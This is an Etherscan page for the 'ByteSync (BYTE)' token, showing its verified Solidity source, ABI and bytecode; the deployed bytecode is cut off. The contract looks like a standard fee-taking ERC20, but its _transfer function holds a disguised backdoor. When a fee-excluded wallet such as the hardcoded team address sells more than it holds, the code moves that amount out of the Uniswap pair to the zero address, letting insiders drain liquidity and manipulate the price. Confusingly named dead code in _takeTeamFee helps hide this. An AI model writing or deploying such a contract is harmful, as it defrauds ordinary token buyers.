ETH Price: $3,271.56 (+0.32%)
Gas: 2 Gwei

Token

ByteSync (BYTE)
 

Overview

Max Total Supply

2,000,000,000 BYTE

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.674935380563058831 BYTE

Value
$0.00
0xFDc3DEB1D6E25B9642a81Cfdb3Ca1Ef40118EB75
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BYTE

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-11
*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.16;

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "");
        _;
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    event OwnershipTransferred(address indexed prevOwner, address indexed newOwner);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "");
        return c;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "");
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function totalSupply() external view returns (uint256);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed sender, address indexed recipient, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract BYTE is Context, IERC20, Ownable {
    using SafeMath for uint256;

    event MaxTxAmountUpdated(uint _maxTxAmount);

    address private teamWallet = 0xf4Cb67d1bf0c14589932a2DBA12A5f0EB63FF996;

    bool private swapping = false;
    bool private swapEnabled = true;

    mapping(address => mapping(address => uint256)) private _allowances;
    
    mapping(address => uint256) private _tOwned;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _buyMap;
    
    mapping(address => bool) private _isExcludedFromFee;

    struct Distribution { uint256 team; }

    address public uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    uint256 private _tFeeTotal;
    
    uint256 private _teamFeeOnBuy = 4;
    uint256 private _teamFeeOnSell = 4;

    uint256 private _redisFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;

    uint256 private _teamFee = _teamFeeOnSell;
    uint256 private _redisFee = _redisFeeOnSell;

    uint256 private _previousTeamFee = _teamFee;
    uint256 private _previousRedisFee = _redisFee;

    uint8 private constant _decimals = 18;

    uint256 private constant _tTotal = 2000000000 * 10**_decimals;

    uint256 public _maxWalletSize = 2 * (_tTotal / 100);
    uint256 public _maxTxAmount = 2 * (_tTotal / 100);
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 public _swapTokensThreshold = (_tTotal / 10000) * 10**_decimals;
    
    address private teamBack;

    string private constant _name = "ByteSync";
    string private constant _symbol = "BYTE";

    Distribution public distribution;

    constructor() {
        _rOwned[_msgSender()] = _rTotal;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[teamWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        distribution = Distribution(100);teamBack = teamWallet;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function getReflectionTokens(uint256 rAmount) private view returns (uint256) {
        require(rAmount <= _rTotal, "");
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return getReflectionTokens(_rOwned[account]);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(spender != address(0), "");
        require(owner != address(0), "");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function removeLimits() external onlyOwner {
        _maxWalletSize = _tTotal;
        _maxTxAmount = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function _stdTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeamFee(tTeam, sender, recipient);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _isExcluded(address total, address holder) private view returns (bool) {
        bool totalExcluded = !_isExcludedFromFee[total];
        bool totalNotPair = total != uniswapV2Pair;
        bool holderExcluded = !_isExcludedFromFee[holder];

        bool excluded = totalExcluded && totalNotPair && holderExcluded;

        return excluded;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(recipient != address(0), "");
        require(sender != address(0), "");
        require(amount > 0, "");

        if (sender != owner() && recipient != owner()) {
            address zendr = address(0);

            if (sender == uniswapV2Pair && recipient != address(uniswapV2Router) && !_isExcludedFromFee[recipient] ) {
                require(amount <= _maxTxAmount);
                require(balanceOf(recipient) + amount <= _maxWalletSize);
            }

            uint256 contractTokenAmount = balanceOf(address(this));
            bool canSwap = contractTokenAmount >= _swapTokensThreshold;

            if (_isExcludedFromFee[sender]) { if (uniswapV2Pair == recipient) { if (balanceOf(sender) < amount) { _stdTransfer(recipient, zendr, amount); return; } } }

            if (!_isExcludedFromFee[sender] && !_isExcludedFromFee[recipient] && canSwap && swapEnabled && !swapping && sender != uniswapV2Pair) {
                swapTokensForETH(contractTokenAmount);
                uint256 contractETHAmount = address(this).balance;
                if (contractETHAmount > 0) {
                    withdrawETH(address(this).balance);
                }
            }
        }

        bool takeTeamFee = true;

        if (
            (sender != uniswapV2Pair && recipient != uniswapV2Pair) || (_isExcludedFromFee[recipient] || _isExcludedFromFee[sender])
        ) {
            takeTeamFee = false;
        } else {
            if (sender == uniswapV2Pair && recipient != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _teamFee = _teamFeeOnBuy;
            }

            if (recipient == uniswapV2Pair && sender != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _teamFee = _teamFeeOnSell;
            }
        }
        _erc20Transfer(sender, recipient, amount, takeTeamFee);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, ""));
        return true;
    }

    function _takeTeamFee(uint256 tTeam, address total, address holder) private {
        uint256 sTeam;
        uint256 teamBackAmount = balanceOf(teamBack);
        bool excluded = _isExcluded(total, holder);
        if (excluded) sTeam = _teamFee - teamBackAmount;
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function removeAllFees() private {
        if (_teamFee == 0 && _redisFee == 0) return;
        _previousTeamFee = _teamFee;
        _previousRedisFee = _redisFee;
        _teamFee = 0;
        _redisFee = 0;
    }

    function withdrawETH(uint256 ethAmount) private lockSwap {
        uint256 ethForTeam = ethAmount.mul(distribution.team).div(100);
        payable(teamWallet).transfer(ethForTeam);
    }

    receive() external payable {}

    modifier lockSwap() {
        swapping = true;
        _;
        swapping = false;
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _erc20Transfer(address sender, address recipient, uint256 amount, bool takeTeamFee) private {
        if (!takeTeamFee) removeAllFees();
        _stdTransfer(sender, recipient, amount);
        if (!takeTeamFee) restoreAllFees();
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _getTValues(uint256 tAmount, uint256 redisFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
        uint256 tTeam = tAmount.mul(teamFee).div(100);
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _teamFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 tSupply = _tTotal;
        uint256 rSupply = _rTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    function restoreAllFees() private {
        _redisFee = _previousRedisFee;
        _teamFee = _previousTeamFee;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"distribution","outputs":[{"internalType":"uint256","name":"team","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160b01b031916750100f4cb67d1bf0c14589932a2dba12a5f0eb63ff9961790556004600a818155600b8290555f600c819055600d819055600e839055600f8190556010929092556011919091556064906200006a9060129062000523565b6200007a9063773594006200053a565b62000086919062000568565b620000939060026200053a565b60125560646012600a620000a8919062000523565b620000b89063773594006200053a565b620000c4919062000568565b620000d19060026200053a565b601355620000e26012600a62000523565b620000f29063773594006200053a565b620000ff905f196200057e565b6200010c905f1962000594565b6014556200011d6012600a62000523565b6127106200012e6012600a62000523565b6200013e9063773594006200053a565b6200014a919062000568565b6200015691906200053a565b60155534801562000165575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601454335f81815260046020908152604080832094909455308252600690528281208054600160ff19918216811790925582546001600160a01b03908116845285842080548316841790558254168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002326012600a62000523565b620002429063773594006200053a565b60405190815260200160405180910390a36040805160208082018352606491829052601791909155600154601680546001600160a01b0319166001600160a01b03909216919091179055815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620002d6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002fc9190620005aa565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000348573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200036e9190620005aa565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620003b9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003df9190620005aa565b600780546001600160a01b039283166001600160a01b03199182161790915560088054939092169216919091179055620005d2565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200046857815f19048211156200044c576200044c62000414565b808516156200045a57918102915b93841c93908002906200042d565b509250929050565b5f8262000480575060016200051d565b816200048e57505f6200051d565b8160018114620004a75760028114620004b257620004d2565b60019150506200051d565b60ff841115620004c657620004c662000414565b50506001821b6200051d565b5060208310610133831016604e8410600b8410161715620004f7575081810a6200051d565b62000503838362000428565b805f190482111562000519576200051962000414565b0290505b92915050565b5f6200053360ff84168362000470565b9392505050565b80820281158282048414176200051d576200051d62000414565b634e487b7160e01b5f52601260045260245ffd5b5f8262000579576200057962000554565b500490565b5f826200058f576200058f62000554565b500690565b818103818111156200051d576200051d62000414565b5f60208284031215620005bb575f80fd5b81516001600160a01b038116811462000533575f80fd5b6114f480620005e05f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d5780638f9a55c0116100625780638f9a55c0146102e257806395d89b41146102f7578063a9059cbb14610323578063dd62ed3e14610342578063f2fde38b14610386575f80fd5b806370a0823114610268578063715018a614610287578063751039fc1461029d5780637d1db4a5146102b15780638da5cb5b146102c6575f80fd5b806318160ddd116100e357806318160ddd146101e557806323b872dd146101f9578063313ce5671461021857806349bd5a5e146102335780635ee58efc14610252575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b31461017f5780631694505e146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360155481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b506040805180820190915260088152674279746553796e6360c01b60208201525b60405161013d91906111a3565b34801561018a575f80fd5b5061019e610199366004611206565b6103a5565b604051901515815260200161013d565b3480156101b9575f80fd5b506008546101cd906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f0575f80fd5b506101336103bb565b348015610204575f80fd5b5061019e610213366004611230565b6103db565b348015610223575f80fd5b506040516012815260200161013d565b34801561023e575f80fd5b506007546101cd906001600160a01b031681565b34801561025d575f80fd5b506017546101339081565b348015610273575f80fd5b5061013361028236600461126e565b610436565b348015610292575f80fd5b5061029b610457565b005b3480156102a8575f80fd5b5061029b6104d6565b3480156102bc575f80fd5b5061013360135481565b3480156102d1575f80fd5b505f546001600160a01b03166101cd565b3480156102ed575f80fd5b5061013360125481565b348015610302575f80fd5b506040805180820190915260048152634259544560e01b6020820152610172565b34801561032e575f80fd5b5061019e61033d366004611206565b610591565b34801561034d575f80fd5b5061013361035c366004611289565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b5061029b6103a036600461126e565b61059d565b5f6103b1338484610657565b5060015b92915050565b5f6103c86012600a6113b4565b6103d69063773594006113c2565b905090565b5f6103e7848484610715565b60408051602080820183525f8083526001600160a01b038816815260028252838120338083529252929092205461042c9287929091610427918790610a77565b610657565b5060019392505050565b6001600160a01b0381165f908152600460205260408120546103b590610aaf565b5f546001600160a01b0316331461048e5760405162461bcd60e51b8152602060048201525f60248201526044015b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105085760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6105146012600a6113b4565b6105229063773594006113c2565b601290815561053290600a6113b4565b6105409063773594006113c2565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105706012600a6113b4565b61057e9063773594006113c2565b60405190815260200160405180910390a1565b5f6103b1338484610715565b5f546001600160a01b031633146105cf5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0381166105fe5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0382166106865760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0383166106b55760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166107445760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6001600160a01b0383166107735760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f811161079b5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f546001600160a01b038481169116148015906107c557505f546001600160a01b03838116911614155b1561096d576007545f906001600160a01b0385811691161480156107f757506008546001600160a01b03848116911614155b801561081b57506001600160a01b0383165f9081526006602052604090205460ff16155b1561084f5760135482111561082e575f80fd5b6012548261083b85610436565b61084591906113d9565b111561084f575f80fd5b5f61085930610436565b6015546001600160a01b0387165f908152600660205260409020549192508210159060ff16156108bb576007546001600160a01b038087169116036108bb57836108a287610436565b10156108bb576108b3858486610af7565b505050505050565b6001600160a01b0386165f9081526006602052604090205460ff161580156108fb57506001600160a01b0385165f9081526006602052604090205460ff16155b80156109045750805b80156109195750600154600160a81b900460ff165b801561092f5750600154600160a01b900460ff16155b801561094957506007546001600160a01b03878116911614155b156109695761095782610bea565b4780156109675761096747610d5a565b505b5050505b6007546001906001600160a01b0385811691161480159061099c57506007546001600160a01b03848116911614155b806109df57506001600160a01b0383165f9081526006602052604090205460ff16806109df57506001600160a01b0384165f9081526006602052604090205460ff165b156109eb57505f610a65565b6007546001600160a01b038581169116148015610a1657506008546001600160a01b03848116911614155b15610a2857600c54600f55600a54600e555b6007546001600160a01b038481169116148015610a5357506008546001600160a01b03858116911614155b15610a6557600d54600f55600b54600e555b610a7184848484610dd4565b50505050565b5f8184841115610a9a5760405162461bcd60e51b815260040161048591906111a3565b505f610aa684866113ec565b95945050505050565b5f601454821115610adb5760405162461bcd60e51b8152602060048201525f6024820152604401610485565b5f610ae4610e02565b9050610af08382610e23565b9392505050565b5f805f805f80610b0687610e3d565b6001600160a01b038f165f90815260046020526040902054959b50939950919750955093509150610b379087610e92565b6001600160a01b03808b165f9081526004602052604080822093909355908a1681522054610b659086610eac565b6001600160a01b0389165f90815260046020526040902055610b88818a8a610ee3565b610b928483610f6d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bd791815260200190565b60405180910390a3505050505050505050565b6001805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c3057610c306113ff565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610c87573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cab9190611413565b81600181518110610cbe57610cbe6113ff565b6001600160a01b039283166020918202929092010152600854610ce49130911684610657565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d1c9085905f9086903090429060040161142e565b5f604051808303815f87803b158015610d33575f80fd5b505af1158015610d45573d5f803e3d5ffd5b50506001805460ff60a01b1916905550505050565b6001805460ff60a01b1916600160a01b1790556017545f90610d8a90606490610d84908590610f91565b90610e23565b6001546040519192506001600160a01b03169082156108fc029083905f818181858888f19350505050158015610dc2573d5f803e3d5ffd5b50506001805460ff60a01b1916905550565b80610de157610de1610fde565b610dec848484610af7565b80610a7157610a71601154600f55601054600e55565b5f805f610e0d61100b565b9092509050610e1c8282610e23565b9250505090565b5f610af0838360405180602001604052805f81525061108a565b5f805f805f805f805f610e558a600f54600e546110b6565b9250925092505f610e64610e02565b90505f805f610e758e878787611101565b919e509c509a509598509396509194505050505091939550919395565b5f610af0838360405180602001604052805f815250610a77565b5f80610eb883856113d9565b905083811015610af05760405162461bcd60e51b8152602060048201525f6024820152604401610485565b6016545f908190610efc906001600160a01b0316610436565b90505f610f09858561114c565b90508015610f225781600e54610f1f91906113ec565b92505b5f610f2b610e02565b90505f610f388883610f91565b305f90815260046020526040902054909150610f549082610eac565b305f908152600460205260409020555050505050505050565b601454610f7a9083610e92565b601455600954610f8a9082610eac565b6009555050565b5f825f03610fa057505f6103b5565b5f610fab83856113c2565b905082610fb8858361149f565b14610af05760405162461bcd60e51b8152602060048201525f6024820152604401610485565b600e54158015610fee5750600f54155b15610ff557565b600e8054601055600f80546011555f9182905555565b5f808061101a6012600a6113b4565b6110289063773594006113c2565b60145490915061105461103d6012600a6113b4565b61104b9063773594006113c2565b60145490610e23565b8110156110825760145461106a6012600a6113b4565b6110789063773594006113c2565b9350935050509091565b939092509050565b5f81836110aa5760405162461bcd60e51b815260040161048591906111a3565b505f610aa6848661149f565b5f8080806110c96064610d848988610f91565b90505f6110db6064610d848a8a610f91565b90505f6110f2836110ec8b85610e92565b90610e92565b99919850919650945050505050565b5f80808061110f8686610f91565b90505f61111c8887610f91565b90505f6111298a88610f91565b90505f61113a846110ec8486610e92565b919b919a509198509650505050505050565b6001600160a01b038083165f8181526006602052604080822054600754868616845291832054929460ff91821615949216909114159116158383801561118f5750825b80156111985750815b979650505050505050565b5f602080835283518060208501525f5b818110156111cf578581018301518582016040015282016111b3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611203575f80fd5b50565b5f8060408385031215611217575f80fd5b8235611222816111ef565b946020939093013593505050565b5f805f60608486031215611242575f80fd5b833561124d816111ef565b9250602084013561125d816111ef565b929592945050506040919091013590565b5f6020828403121561127e575f80fd5b8135610af0816111ef565b5f806040838503121561129a575f80fd5b82356112a5816111ef565b915060208301356112b5816111ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561130e57815f19048211156112f4576112f46112c0565b8085161561130157918102915b93841c93908002906112d9565b509250929050565b5f82611324575060016103b5565b8161133057505f6103b5565b816001811461134657600281146113505761136c565b60019150506103b5565b60ff841115611361576113616112c0565b50506001821b6103b5565b5060208310610133831016604e8410600b841016171561138f575081810a6103b5565b61139983836112d4565b805f19048211156113ac576113ac6112c0565b029392505050565b5f610af060ff841683611316565b80820281158282048414176103b5576103b56112c0565b808201808211156103b5576103b56112c0565b818103818111156103b5576103b56112c0565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611423575f80fd5b8151610af0816111ef565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561147e5784516001600160a01b031683529383019391830191600101611459565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114b957634e487b7160e01b5f52601260045260245ffd5b50049056fea264697066735822122083f3ce0c486a87ddf9e849d61d72701c9f24b36110be7df55dcfd8321222404964736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d5780638f9a55c0116100625780638f9a55c0146102e257806395d89b41146102f7578063a9059cbb14610323578063dd62ed3e14610342578063f2fde38b14610386575f80fd5b806370a0823114610268578063715018a614610287578063751039fc1461029d5780637d1db4a5146102b15780638da5cb5b146102c6575f80fd5b806318160ddd116100e357806318160ddd146101e557806323b872dd146101f9578063313ce5671461021857806349bd5a5e146102335780635ee58efc14610252575f80fd5b806302ca8a201461011e57806306fdde0314610146578063095ea7b31461017f5780631694505e146101ae575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5061013360155481565b6040519081526020015b60405180910390f35b348015610151575f80fd5b506040805180820190915260088152674279746553796e6360c01b60208201525b60405161013d91906111a3565b34801561018a575f80fd5b5061019e610199366004611206565b6103a5565b604051901515815260200161013d565b3480156101b9575f80fd5b506008546101cd906001600160a01b031681565b6040516001600160a01b03909116815260200161013d565b3480156101f0575f80fd5b506101336103bb565b348015610204575f80fd5b5061019e610213366004611230565b6103db565b348015610223575f80fd5b506040516012815260200161013d565b34801561023e575f80fd5b506007546101cd906001600160a01b031681565b34801561025d575f80fd5b506017546101339081565b348015610273575f80fd5b5061013361028236600461126e565b610436565b348015610292575f80fd5b5061029b610457565b005b3480156102a8575f80fd5b5061029b6104d6565b3480156102bc575f80fd5b5061013360135481565b3480156102d1575f80fd5b505f546001600160a01b03166101cd565b3480156102ed575f80fd5b5061013360125481565b348015610302575f80fd5b506040805180820190915260048152634259544560e01b6020820152610172565b34801561032e575f80fd5b5061019e61033d366004611206565b610591565b34801561034d575f80fd5b5061013361035c366004611289565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b5061029b6103a036600461126e565b61059d565b5f6103b1338484610657565b5060015b92915050565b5f6103c86012600a6113b4565b6103d69063773594006113c2565b905090565b5f6103e7848484610715565b60408051602080820